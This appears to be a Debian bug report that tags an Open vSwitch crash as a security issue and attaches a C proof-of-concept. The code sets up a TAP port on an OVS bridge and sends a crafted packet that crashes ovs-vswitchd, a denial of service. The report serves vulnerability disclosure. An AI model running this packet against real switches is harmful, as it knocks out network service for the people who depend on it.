Control: tag -1 + security Simple reproducer attached. This is a remote DoS vector in jessie, so adding the security tag. -- Thanks, Feri
/* ovs-vsctl add-br ovsbr * then this crashes ovs-vswitchd (which restarts automatically) */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <sys/ioctl.h> #include <linux/if_tun.h> static const unsigned char pkt1[64] = { 0x8c, 0x60, 0x4f, 0x03, 0x9c, 0xc1, 0x20, 0x1a, 0x06, 0x9a, 0xa0, 0x3c, 0x81, 0x00, 0x03, 0x21, 0x88, 0x47, 0x00, 0x06, 0x91, 0xff, 0x45, 0x00, 0x00, 0x28, 0xa0, 0x86, 0x00, 0x00, 0xfe, 0x06, 0xd1, 0xef, 0xc3, 0x6f, 0x61, 0xc8, 0xc3, 0x6f, 0x61, 0xb2, 0xec, 0x8a, 0x02, 0x86, 0x66, 0x1b, 0x5b, 0xd8, 0x52, 0x02, 0x42, 0xc0, 0x50, 0x10, 0xc0, 0x00, 0x5f, 0xb3, 0x00, 0x00, 0x00, 0x00 }; int main (void) { struct ifreq ifr; int fd, err; const char *clonedev = "/dev/net/tun"; if ((fd = open (clonedev, O_RDWR)) < 0) { perror ("open clonedev"); return fd; } memset (&ifr, 0, sizeof ifr); ifr.ifr_flags = IFF_TAP; strncpy (ifr.ifr_name, "killer", IFNAMSIZ); if ((err = ioctl (fd, TUNSETIFF, &ifr)) < 0) { perror ("TUNSETIFF"); close (fd); return err; } err = system ("ovs-vsctl add-port ovsbr killer && ip link set killer up"); printf ("Port added: %d\nPress Enter\n", err); fread (&err, 1, 1, stdin); err = write (fd, pkt1, sizeof pkt1); printf ("Packet written: %d bytes\nPress Enter\n", err); fread (&err, 1, 1, stdin); system ("ovs-vsctl del-port ovsbr killer"); }